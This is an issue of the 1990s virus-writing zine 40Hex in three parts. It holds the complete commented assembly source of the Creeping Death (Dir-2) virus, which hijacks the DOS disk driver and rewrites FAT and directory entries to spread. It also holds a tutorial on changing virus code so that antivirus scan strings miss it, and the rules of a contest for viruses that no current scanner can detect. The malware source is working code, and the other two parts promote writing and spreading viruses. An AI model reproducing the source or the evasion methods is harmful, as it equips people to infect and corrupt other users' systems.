40Hex Number 6 Volume 2 Issue 2


40Hex Number 6 Volume 2 Issue 2                                      File 00A

     Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2).
This is one of the most impressive viruses out there, and VirusSoft looks to be
a promising group in the future.  Unfortunately, the source code we obtained
had almost no comments.  Dark Angel commented it as best as he possibly could,
but I think it is safe to say that there may be a few discrepancies.
Nonetheless, it was an excellent job, kudos to DA.  Although I am writing this
header, I had nothing to do with the commenting, so Dark Angel gets all the
credit.

                                                -)GHeap

-------------------------------------------------------------------------------
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
;                        I love it.  It is my life.  I worship the drive it
;                        infects.  Take a look at it.  Let not my troubles be
;                        in vain.  Why did I do this?  I sacrifice my life for
;                        the benefit of 40Hex.  If you don't read this, I'm
;                        gonna go join [NuKE].

;        Creeping Death  V 1.0
;
;        (C) Copyright 1991 by VirusSoft Corp.

i13org    =    5f8h
i21org    =    5fch

dir_2   segment byte public
        assume  cs:dir_2, ds:dir_2

        org   100h

start:
         mov   sp,600h                          ; Set up the stack pointer
         inc   word ptr counter                 ; Generation counter
         xor   cx,cx
         mov   ds,cx                            ; DS points to interrupt table
         lds   ax, ds:[0c1h]                    ; Find interrupt 30h
         add   ax,21h                           ; Change it to Int 21h
         push  ds                               ; Save it on stack for use by
         push  ax                               ; subroutine "jump"
         mov   ah,30h                           ; Get DOS version
         call  jump
         cmp   al,4                             ; DOS 4.X+ : SI = 0
         sbb   si,si                            ; DOS 2/3  : SI = -1
         mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
                                                ; "never accessed"
         mov   bx,60h                           ; Adjust memory in ES to
         mov   ah,4ah                           ; BX paragraphs.
         call  jump

         mov   ah,52h                           ; Get DOS List of Lists
         call  jump                             ; to ES:BX
         push  es:[bx-2]                        ; Save Segment of first MCB
         lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
                                                ;  (Drive parameter block)
search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
         cmp   ax,70h                           ; Is it CONFIG? (I think)
         jne   next                             ; If not, try again
         xchg  ax,cx                            ; Move driver segment to CX
         mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
         mov   di,[bx+si+13h]                   ; Save offset of device driver
                                                ; Original device driver
                                                ; address in CX:DI
         mov   [bx+si+13h],offset header        ; Replace with our own
         mov   [bx+si+15h],cs                   ;  (header)
next:    lds   bx,[bx+si+19h]                   ; Get next device block
         cmp   bx,-1                            ; Is it the last one?
         jne   search                           ; If not, search it
         jcxz  install

         pop   ds                               ; Restore segment of first
         mov   ax,ds                            ; MCB
         add   ax,ds:[3]                        ; Go to next MCB
         inc   ax                               ; AX = segment next MCB
         mov   dx,cs                            ; DX = MCB owning current
         dec   dx                               ;      program
         cmp   ax,dx                            ; Are these the same?
         jne   no_boot                          ; If not, we are not currently
                                                ; in the middle of a reboot
         add   word ptr ds:[3],61h              ; Increase length owned by
                                                ; MCB by 1552 bytes
no_boot: mov   ds,dx                            ; DS = MCB owning current
                                                ; program
         mov   word ptr ds:[1],8                ; Set owner = DOS

         mov   ds,cx                            ; DS = segment of original
                                                ;      device driver
         les   ax,[di+6]                        ; ES = offset int handler
                                                ; AX = offset strategy entry
         mov   word ptr cs:str_block,ax         ; Save entry point
         mov   word ptr cs:int_block,es         ; And int block for use in
                                                ; function _in
         cld                                    ; Scan for the write
         mov   si,1                             ; function in the
scan:    dec   si                               ; original device driver
         lodsw
         cmp   ax,1effh
         jne   scan
         mov   ax,2cah                          ; Wicked un-yar place o'
         cmp   [si+4],ax                        ; doom.
         je    right
         cmp   [si+5],ax
         jne   scan
right:   lodsw
         push  cs
         pop   es
         mov   di,offset modify+1               ; Save address of patch
         stosw                                  ; area so it can be changed
         xchg  ax,si                            ; later.
         mov   di,offset i13org                 ; This is in the stack, but
         cli                                    ; it is used by "i13pr"
         movsw
         movsw

         mov   dx,0c000h                        ; Scan for hard disk ROM
                                                ; Start search @ segment C000h
fdsk1:   mov   ds,dx                            ; Load up the segment
         xor   si,si                            ; atart at offset 0000h
         lodsw                                  ; Scan for the signature
         cmp   ax,0aa55h                        ; Is it the signature?
         jne   fdsk4                            ; If not, change segment
         cbw                                    ; clear AH
         lodsb                                  ; load a byte to AL
         mov   cl,9
         sal   ax,cl                            ; Shift left, 0 filled
fdsk2:   cmp   [si],6c7h
         jne   fdsk3
         cmp   word ptr [si+2],4ch
         jne   fdsk3
         push  dx                               ; Save the segment
         push  [si+4]                           ; and offset on stack
         jmp   short death                      ; for use by i13pr

install: int   20h
file:    db    "c:",255,0
fdsk3:   inc   si                               ; Increment search offset
         cmp   si,ax                            ; If we are not too high,
         jb    fdsk2                            ; try again
fdsk4:   inc   dx                               ; Increment search segment
         cmp   dh,0f0h                          ; If we are not in high
         jb    fdsk1                            ; memory, try again

         sub   sp,4                             ; effectively push dummy vars.
death:   push  cs                               ; on stack for use by i13pr
         pop   ds
         mov   bx,ds:[2ch]                      ; Get environment from PSP
         mov   es,bx
         mov   ah,49h                           ; Release it (to save memory)
         call  jump
         xor   ax,ax
         test  bx,bx                            ; Is BX = 0?
         jz    boot                             ; If so, we are booting now
         mov   di,1                             ; and not running a file
seek:    dec   di                               ; Search for end of
         scasw                                  ; the environment block
         jne   seek
         lea   si,[di+2]                        ; SI points to filename
         jmp   short exec                       ; (in DOS 3.X+)
                                                ; Execute that file
boot:    mov   es,ds:[16h]                      ; get PSP of parent
         mov   bx,es:[16h]                      ; get PSP of parent
         dec   bx                               ; go to its MCB
         xor   si,si
exec:    push  bx
         mov   bx,offset param                  ; Set up parameter block
                                                ; for EXEC function
         mov   [bx+4],cs                        ; segment to command line
         mov   [bx+8],cs                        ; segment to 1st FCB
         mov   [bx+12],cs                       ; segment to 2nd FCB
         pop   ds
         push  cs
         pop   es

         mov   di,offset f_name
         push  di                               ; Save filename offset
         mov   cx,40                            ; Copy the filename to
         rep   movsw                            ; the buffer
         push  cs
         pop   ds

         mov   ah,3dh                           ; Handle open file
         mov   dx,offset file                   ; "c:ÿ",0
         call  jump
         pop   dx                               ; DS:DX -> filename

         mov   ax,4b00h                         ; Load and Execute
         call  jump                             ; ES:BX = param block
         mov   ah,4dh                           ; Get errorlevel
         call  jump
         mov   ah,4ch                           ; Terminate

jump:    pushf                                  ; Simulate an interrupt 21h
         call  dword ptr cs:[i21org]
         ret


;--------Installation complete

i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
         jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
                                                ; head DH, drive DL


main:    push  ax            ; driver
         push  cx            ; strategy block
         push  dx
         push  ds
         push  si
         push  di

         push  es                               ; Move segment of parameter
         pop   ds                               ; block to DS
         mov   al,[bx+2]                        ; [bx+2] holds command code

         cmp   al,4                             ; Input (read)
         je    input
         cmp   al,8                             ; Output (write)
         je    output
         cmp   al,9                             ; Output (write) with verify
         je    output

         call  in_                              ; Call original device
         cmp   al,2                             ; Request build BPB
         jne   ppp                              ; If none of the above, exit
         lds   si,[bx+12h]                      ; DS:SI point to BPB table
         mov   di,offset bpb_buf                ; Replace old pointer with
         mov   es:[bx+12h],di                   ; a pointer to our own
         mov   es:[bx+14h],cs                   ; BPB table
         push  es                               ; Save segment of parameters
         push  cs
         pop   es
         mov   cx,16                            ; Copy the old BPB table to
         rep   movsw                            ; our own
         pop   es                               ; Restore parameter segment
         push  cs
         pop   ds
         mov   al,[di+2-32]                     ; AL = sectors per allocation
         cmp   al,2                             ;      unit.  If less than
         adc   al,0                             ;      2, increment
         cbw                                    ; Extend sign to AH (clear AH)
         cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
         je    m32                              ; If so, big partition (>32MB)
         sub   [di+8-32],ax                     ; Decrease space of disk by
                                                ; one allocation unit(cluster)
         jmp   short ppp                        ; Exit
m32:     sub   [di+15h-32],ax                   ; Handle large partitions
         sbb   word ptr [di+17h-32],0

ppp:     pop   di
         pop   si
         pop   ds
         pop   dx
         pop   cx
         pop   ax
rts:     retf                                   ; We are outta here!

output:  mov   cx,0ff09h
         call  check                            ; is it a new disk?
         jz    inf_sec                          ; If not, go away
         call  in_                              ; Call original device handler
         jmp   short inf_dsk

inf_sec: jmp   _inf_sec
read:    jmp   _read
read_:   add   sp,16                            ; Restore the stack
         jmp   short ppp                        ; Leave device driver

input:   call  check                            ; Is it a new disk?
         jz    read                             ; If not, leave
inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
         cld
         lea   si,[bx+0eh]                      ; Load from buffer address
         mov   cx,8                             ; Save device driver request
save:    lodsw                                  ; on the stack
         push  ax
         loop  save
         mov   word ptr [bx+14h],1              ; Starting sector number = 1
                                                ; (Read 1st FAT)
         call  driver                           ; Read one sector
         jnz   read_                            ; If error, exit
         mov   byte ptr [bx+2],2                ; Otherwise build BPB
         call  in_                              ; Have original driver do the
                                                ; work
         lds   si,[bx+12h]                      ; DS:SI points to BPB table
         mov   ax,[si+6]                        ; Number root directory entries
         add   ax,15                            ; Round up
         mov   cl,4
         shr   ax,cl                            ; Divide by 16 to find sectors
                                                ; of root directory
         mov   di,[si+0bh]                      ; DI = sectors/FAT
         add   di,di                            ; Double for 2 FATs
         stc                                    ; Add one for boot record
         adc   di,ax                            ; Add sector size of root dir
         push  di                               ; to find starting sector of
                                                ; data (and read)
         cwd                                    ; Clear DX
         mov   ax,[si+8]                        ; AX = total sectors
         test  ax,ax                            ; If it is zero, then we have
         jnz   more                             ; an extended partition(>32MB)
         mov   ax,[si+15h]                      ; Load DX:AX with total number
         mov   dx,[si+17h]                      ; of sectors
more:    xor   cx,cx
         sub   ax,di                            ; Calculate FAT entry for last
                                                ; sector of disk
         sbb   dx,cx
         mov   cl,[si+2]                        ; CL = sectors/cluster
         div   cx                               ; AX = cluster #
         cmp   cl,2                             ; If there is more than 1
         sbb   ax,-1                            ; cluster/sector, add one
         push  ax                               ; Save cluster number
         call  convert                          ; AX = sector number to read
                                                ; DX = offset in sector AX
                                                ;      of FAT entry
                                                ; DI = mask for EOF marker
         mov   byte ptr es:[bx+2],4             ; INPUT (read)
         mov   es:[bx+14h],ax                   ; Starting sector = AX
         call  driver                           ; One sector only
again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
         add   si,dx                            ; Go to FAT entry
         sub   dh,cl                            ; Calculate a new encryption
         adc   dx,ax                            ; value
         mov   word ptr cs:gad+1,dx             ; Change the encryption value
         cmp   cl,1                             ; If there is 0 cluster/sector
         je    small_                           ; then jump to "small_"
         mov   ax,[si]                          ; Load AX with offset of FAT
                                                ; entry
         and   ax,di                            ; Mask it with value from
                                                ; "convert" then test to see
                                                ; if the sector is fine
         cmp   ax,0fff7h                        ; 16 bit reserved/bad
         je    bad
         cmp   ax,0ff7h                         ; 12 bit reserved/bad
         je    bad
         cmp   ax,0ff70h                        ; 12 bit reserved/bad
         jne   ok
bad:     pop   ax                               ; Tried to replicate on a bad
         dec   ax                               ; cluster.  Try again on a
         push  ax                               ; lower one.
         call  convert                          ; Find where it is in the FAT
         jmp   short again                      ; and try once more
small_:  not   di                               ; Reverse mask bits
         and   [si],di                          ; Clear other bits
         pop   ax                               ; AX = cluster number
         push  ax
         inc   ax                               ; Need to do 2 consecutive
         push  ax                               ; bytes
         mov   dx,0fh
         test  di,dx
         jz    here
         inc   dx                               ; Multiply by 16
         mul   dx
here:    or    [si],ax                          ; Set cluster to next
         pop   ax                               ; Restore cluster of write
         call  convert                          ; Calculate buffer offset
         mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
         add   si,dx
         mov   ax,[si]
         and   ax,di
ok:      mov   dx,di                            ; DI = mask from "convert"
         dec   dx
         and   dx,di                            ; Yerg!
         not   di
         and   [si],di
         or    [si],dx                          ; Set [si] to DI

         cmp   ax,dx                            ; Did we change the FAT?
         pop   ax                               ; i.e. Are we already on this
         pop   di                               ; disk?
         mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
         je    _read_                           ; If we didn't infect, then
                                                ; leave the routine.  Oh
                                                ; welp-o.
         mov   dx,[si]
         push  ds
         push  si
         call  write                            ; Update the FAT
         pop   si
         pop   ds
         jnz   _read_                           ; Quit if there's an error
         call  driver
         cmp   [si],dx
         jne   _read_
         dec   ax
         dec   ax
         mul   cx                               ; Multiply by sectors/cluster
                                                ; to find the sector of the
                                                ; write
         add   ax,di
         adc   dx,0
         push  es
         pop   ds
         mov   word ptr [bx+12h],2              ; Byte/sector count
         mov   [bx+14h],ax                      ; Starting sector #
         test  dx,dx
         jz    less
         mov   word ptr [bx+14h],-1             ; Flag extended partition
         mov   [bx+1ah],ax                      ; Handle the sector of the
         mov   [bx+1ch],dx                      ; extended partition
less:    mov   [bx+10h],cs                      ; Transfer address segment
         mov   [bx+0eh],100h                    ; and the offset (duh)
         call  write                            ; Zopy ourselves!
                                                ; (We want to travel)
_read_:  std
         lea   di,[bx+1ch]                      ; Restore device driver header
         mov   cx,8                             ; from the stack
load:    pop   ax
         stosw
         loop  load
_read:   call  in_                              ; Call original device handler

         mov   cx,9
_inf_sec:
         mov   di,es:[bx+12h]                   ; Bytes/Sector
         lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
         sal   di,cl                            ; Multiply by 512
                                                ; DI = byte count
         xor   cl,cl
         add   di,si                            ; Go to address in the buffer
         xor   dl,dl                            ; Flag for an infection in
                                                ; function find
         push  ds
         push  si
         call  find                             ; Infect the directory
         jcxz  no_inf
         call  write                            ; Write it back to the disk
         and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
                                                ; word
no_inf:  pop   si
         pop   ds
         inc   dx                               ; Flag for a decryption in
                                                ; function find
         call  find                             ; Return right information to
                                                ; calling program
         jmp   ppp

;--------Subroutines

find:    mov   ax,[si+8]                        ; Check filename extension
         cmp   ax,"XE"                          ; in directory structure
         jne   com
         cmp   [si+10],al
         je    found
com:     cmp   ax,"OC"
         jne   go_on
         cmp   byte ptr [si+10],"M"
         jne   go_on
found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
         jnz   go_on                            ; to see if it is too big
         test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
         jz    go_on                            ; to see if it is too small
         test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
         jnz   go_on                            ; volume label or system file
         test  dl,dl                            ; If none of these, check DX
         jnz   rest                             ; If not 0, decrypt
pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
         cmp   ax,[si+1ah]                      ; Check for same starting
                                                ; cluster number as us
         je    go_on                            ; If it is, then try another
         xchg  ax,[si+1ah]                      ; Otherwise make it point to
                                                ; us.
gad:     xor   ax,1234h                         ; Encrypt their starting
                                                ; cluster
         mov   [si+14h],ax                      ; And put it in area reserved
                                                ; by DOS for no purpose
         loop  go_on                            ; Try another file
rest:    xor   ax,ax                            ; Disinfect the file
         xchg  ax,[si+14h]                      ; Get starting cluster
         xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
         mov   [si+1ah],ax                      ; and put it back
go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
         dw    offset gad+1                     ; Change encryption and
         add   si,32                            ; go to next file
         cmp   di,si                            ; If it is not past the end of
         jne   find                             ; the buffer, then try again
         ret                                    ; Otherwise quit

check:   mov   ah,[bx+1]                        ; ah = unit code (block device
                                                ;                 only)
drive:   cmp   ah,-1                            ; cmp ah, XX can change.
                                                ; Compare with the last call
                                                ; -1 is just a dummy
                                                ; impossible value that will
                                                ; force the change to be true
         mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
         jne   changed                          ; If not the same as last call
                                                ; media has changed
         push  [bx+0eh]                         ; If it is the same physical
                                                ; drive, see if floppy has
                                                ; been changed
         mov   byte ptr [bx+2],1                ; Tell original driver to do a
         call  in_                              ; media check (block only)
         cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
         pop   [bx+0eh]                         ; media has not been changed
         mov   [bx+2],al                        ; Restore command code
changed: ret                                    ; CF,ZF set if media has not
                                                ; been changed, not set if
                                                ; has been changed or we don't
                                                ; know
write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
         jae   in_                              ; original device handler
                                                ; and return to caller
         mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
         mov   si,70h
         mov   ds,si                            ; DS = our segment
modify:  mov   si,1234h                         ; Address is changed elsewhere
         push  [si]
         push  [si+2]
         mov   [si],offset i13pr
         mov   [si+2],cs
         call  in_                              ; Call original device handler
         pop   [si+2]
         pop   [si]
         ret

driver:  mov   word ptr es:[bx+12h],1           ; One sector
in_:                                            ; in_ first calls the strategy
                                                ; of the original device
                                                ; driver and then calls the
                                                ; interrupt handler
         db    09ah                             ; CALL FAR PTR
str_block:
         dw    ?,70h                            ; address
         db    09ah                             ; CALL FAR PTR
int_block:
         dw    ?,70h                            ; address
         test  es:[bx+4],byte ptr 80h           ; Was there an error?
         ret

convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
         jae   fat_16                           ; 0FF0h = reserved cluster
         mov   si,3                             ; 12 bit FAT
         xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
         mul   si                               ; Multiply by 3 and
         shr   ax,1                             ; divide by 2
         mov   di,0fffh                         ; Mark it EOF (low 12 bits)
         jnc   cont                             ; if it is even, continue
         mov   di,0fff0h                        ; otherwise, mark it EOF (high
         jmp   short cont                       ; 12 bits) and then continue
fat_16:  mov   si,2                             ; 16 bit FAT
         mul   si                               ; Double cluster #
         mov   di,0ffffh                        ; Mark it as end of file
cont:    mov   si,512
         div   si                               ; AX = sector number
                                                ; (relative to start of FAT)
                                                ; DX = offset in sector AX
header:  inc   ax                               ; Increment AX to account for
         ret                                    ; boot record

counter: dw    0

         dw    842h                             ; Attribute
                                                ;  Block device
                                                ;  DOS 3 OPEN/CLOSE removable
                                                ;        media calls supported
                                                ;  Generic IOCTL call supported
                                                ; Supports 32 bit sectors
         dw    offset main                      ; Strategy routine
         dw    offset rts                       ; Interrupt routine (rtf)
         db    7fh                              ; Number of subunits supported
                                                ; by this driver.  Wow, lookit
                                                ; it -- it's so large and juicy

; Parameter block format:
; 0  WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param:   dw    0,80h,?,5ch,?,6ch,?

bpb_buf: db    32 dup(?)
f_name:  db    80 dup(?)

;--------The End.
dir_2   ends
        end     start

40Hex Number 6 Volume 2 Issue 2                                       File 00B

                        ------------------------------
                         SCAN STRINGS, HOW THEY WORK,
                             AND HOW TO AVOID THEM
                        ------------------------------
                                 By Dark Angel
                        ------------------------------
  
  Scan strings  are the  scourge of  the virus author and the friend of anti-
  virus wanna-bes.   The  virus author  must find encryption techniques which
  can successfully  evade easy detection.  This article will show you several
  such techniques.
  
  Scan strings,  as you  are well  aware, are  a collection of bytes which an
  anti-viral product  uses to  identify a virus.  The important thing to keep
  in mind  is that  these scan  strings represent  actual code  and can NEVER
  contain code  which could occur in a "normal" program.  The trick is to use
  this to your advantage.
  
  When a  scanner checks  a file for a virus, it searches for the scan string
  which could  be located  ANYWHERE IN  THE FILE.   The  scanner doesn't care
  where it  is.   Thus, a  file which  consists solely of the scan string and
  nothing else  would be  detected as  infected by  a virus.   A  scanner  is
  basically  an   overblown  "hex  searcher"  looking  for  1000  signatures.
  Interesting, but  there's not  much you  can do  to exploit this.  The only
  thing you  can do  is to  write code so generic that it could be located in
  any program  (by chance).   Try  creating a  file with  the following debug
  script and  scanning it.   This  demonstrates the fact that the scan string
  may be located at any position in the file.
  
  ---------------------------------------------------------------------------
  
  n marauder.com
  e 0100  E8 00 00 5E 81 EE 0E 01 E8 05 00 E9
  
  rcx
  000C
  w
  q
  
  ---------------------------------------------------------------------------
  
  Although scanners  normally search  for decryption/encryption  routines, in
  Marauder's case,  SCAN looks  for the  "setup" portion  of the  code,  i.e.
  setting up  BP (to the "delta offset"), calling the decryption routine, and
  finally jumping to program code.
  
  What you  CAN do  is to  either minimise  the scannable code or to have the
  code constantly  mutate into  something different.  The reasons are readily
  apparent.
  
  The simplest  technique is  having multiple  encryption engines.   A  virus
  utilising this  technique has  a database  of encryption/decryption engines
  and uses  a random  one each  time it infects.  For example, there could be
  various forms  of XOR  encryption or  perhaps another  form of mathematical
  encryption.   The trick  is to  simply replace  the code for the encryption
  routine each time with the new encryption routine.
  
  Mark Washburn  used this  in his  V2PX series of virii.  In it, he used six
  different  encryption/decryption   algorithms,  and   some  mutations   are
  impossible to detect with a mere scan string.  More on those later.
  
  Recently, there  has been  talk of  the so-called  MTE, or mutating engine,
  from Bulgaria  (where else?).   It  utilises the multiple encryption engine
  technique.   Pogue Mahone  used the  MTE and it took McAfee several days to
  find a  scan string.   Vesselin  Bontchev, the McAfee-wanna-be of Bulgaria,
  marvelled the engineering of this engine.  It is distributed as an OBJ file
  designed to  be able to be linked into any virus.  Supposedly, SCANV89 will
  be able to detect any virus using the encryption engine, so it is worthless
  except for  those who  have an  academic interest  in such matters (such as
  virus authors).
  
  However,  there   is  a  serious  limitation  to  the  multiple  encryption
  technique, namely  that scan  strings may  still be  found.   However, scan
  strings must  be isolated  for each  different encryption  mechanism.    An
  additional  benefit   is  the   possibility  that  the  antivirus  software
  developers will  miss some  of the  encryption mechanisms  so not  all  the
  strains of the virus will be caught by the scanner.
  
  Now we  get to  a much better (and sort of obvious) method: minimising scan
  code length.   There are several viable techniques which may be used, but I
  shall discuss but three of them.
  
  The one  mentioned before which Mark Washburn used in V2P6 was interesting.
  He first  filled the  space to  be filled  in with the encryption mechanism
  with dummy  one byte  op-codes such  as CLC, STC, etc.  As you can see, the
  flag manipulation  op-codes were  exploited.   Next, he randomly placed the
  parts of  his encryption  mechanism in  parts of this buffer, i.e. the gaps
  between the  "real" instructions were filled in with random dummy op-codes.
  In this manner, no generic scan string could be located for this encryption
  mechanism of  this virus.   However, the disadvantage of this method is the
  sheer size of the code necessary to perform the encryption.
  
  A second  method is  much simpler than this and possibly just as effective.
  To minimise scan code length, all you have to do is change certain bytes at
  various intervals.   The  best way  to do  this can  be explained  with the
  following code fragment:
  
    mov si, 1234h                     ; Starting location of encryption
    mov cx, 1234h                     ; Virus size / 2 + variable number
  loop_thing:
    xor word ptr cs:[si], 1234h       ; Decrypt the value
    add si, 2
    loop loop_thing
  
  In this code fragment, all the values which can be changed are set to 1234h
  for the  sake of  clarity.   Upon infection,  all you  have to do is to set
  these variable  values to  whatever is  appropriate  for  the  file.    For
  example, mov  bx, 1234h  would have  to be  changed to  have the encryption
  start at the wherever the virus would be loaded into memory (huh?).  Ponder
  this for  a few  moments and  all shall  become clear.   To  substitute new
  values into the code, all you have to do is something akin to:
  
    mov [bp+scratch+1], cx
  
  Where scratch is an instruction.  The exact value to add to scratch depends
  on the  coding of  the op-code.   Some  op-codes take their argument as the
  second byte,  others take  the  third.    Regardless,  it  will  take  some
  tinkering before it is perfect.  In the above case, the "permanent" code is
  limited to  under five or six bytes.  Additionally, these five or six bytes
  could theoretically  occur in  ANY PROGRAM  WHATSOEVER, so  it would not be
  prudent for  scanners to search for these strings.  However, scanners often
  use scan  strings with wild-card-ish scan string characters, so it is still
  possible for a scan string to be found.
  
  The important  thing to  keep in  mind when using this method is that it is
  best for  the virus  to use separate encryption and decryption engines.  In
  this manner, shorter decryption routines may be found and thus shorter scan
  strings will  be needed.   In  any  case,  using  separate  encryption  and
  decryption engines increases the size of the code by at most 50 bytes.
  
  The last method detailed is theft of decryption engines.  Several shareware
  products utilise  decryption engines  in their  programs to  prevent simple
  "cracks" of  their products.   This  is, of  course, not a deterrent to any
  programmer worth  his salt,  but it  is useful  for virus  authors.  If you
  combine the  method above  with  this  technique,  the  scan  string  would
  identify the  product as  being infected with the virus, which is a) bad PR
  for the company and b) unsuitable for use as a scan string.  This technique
  requires virtually  no effort,  as the decryption engine is already written
  for you by some unsuspecting PD programmer.
  
  All the  methods described  are viable  scan  string  avoidance  techniques
  suitable for  use in  any virus.   After  a few practice tries, scan string
  avoidance should  become  second  nature  and  will  help  tremendously  in
  prolonging the effective life of your virus in the wild.
40Hex Number 6 Volume 2 Issue 2                                       File 00C

                        ------------------------
                             Virus Contest!
                           'The Spammies(tm)'
                        ------------------------
                        Deadline: July 4th, 1992


   This is the first PHALCON/SKISM virus contest.  As a matter of fact, this
is the first contest of its kind.  We believe that it will motivate you to
produce more original code, rather than more hacks.  Winners may have already
won $10,000,000, as well as the prestige of winning the first ever 'Spammie'
awards.


Rules and Regulations:
1)  All submissions must be original source code. (no hacks)
2)  Only one submission is allowed per programmer, plus one group project.
3)  All viruses must be recieved by us before July 4th, 1992.
4)  Viruses must be accompanied by a complete entry form. (see below)
5)  The original, compilable, commented source MUST be included, along with an
    installer program, or a dropper, in the case of boot block viruses.
6)  Entries must include a location where the author may be contacted, such as
    an email address or a BBS.
7)  Personnel or persons related to personnel of PHALCON/SKISM are not
    eligable.
8)  The source must compile without error under Tasm or Masm (please specify
    what assembler and version you used, along with the necessary command line
    switches).  If we cannot compile your virus, it will be disqualified.
9)  All entries recieve a free subscription to 40hex.  (hehehehe)
10) The entry must be uploaded privately to the sysop, stating that it is a
    contest entry.
11) The viruses must not be detectable by the current version (as of July 4th)
    of any known virus scanner.
12) Viruses will be judged by our 'panel of experts' in three catagories.
    6.1)  Stealth
    6.2)  Size
    6.3)  Reproductivity
    6.4)  Performance
        For example, Red Cross is an example of a 'high performance' virus.  It
        was entertaining and well done.

*** Entry Form

Handle ________________________
Group Afiliation ______________
Virus Name ____________________
Size ____bytes (if you need more spaces, go away)
Type               ___ File Infector ___ Boot block
Infection method   ___ Direct Action ___ Memory Resident   ___ Directory chain
                   ___ Other (please describe it in detail)
Encryption routine ___ None (bah)    ___ Xor loop
                   ___ Other (please describe it in detail)

Describe what makes your infection routine unique.
_______________________________________________________________________________
_______________________________________________________________________________
Describe what makes your encryption routine unique.
_______________________________________________________________________________
_______________________________________________________________________________
Describe what means your virus uses, other than encryption, to keep itself
hidden.
_______________________________________________________________________________
_______________________________________________________________________________
What is the largest possible scan string for this virus?  __bytes

What else sets this virus apart from other viruses?
_______________________________________________________________________________
_______________________________________________________________________________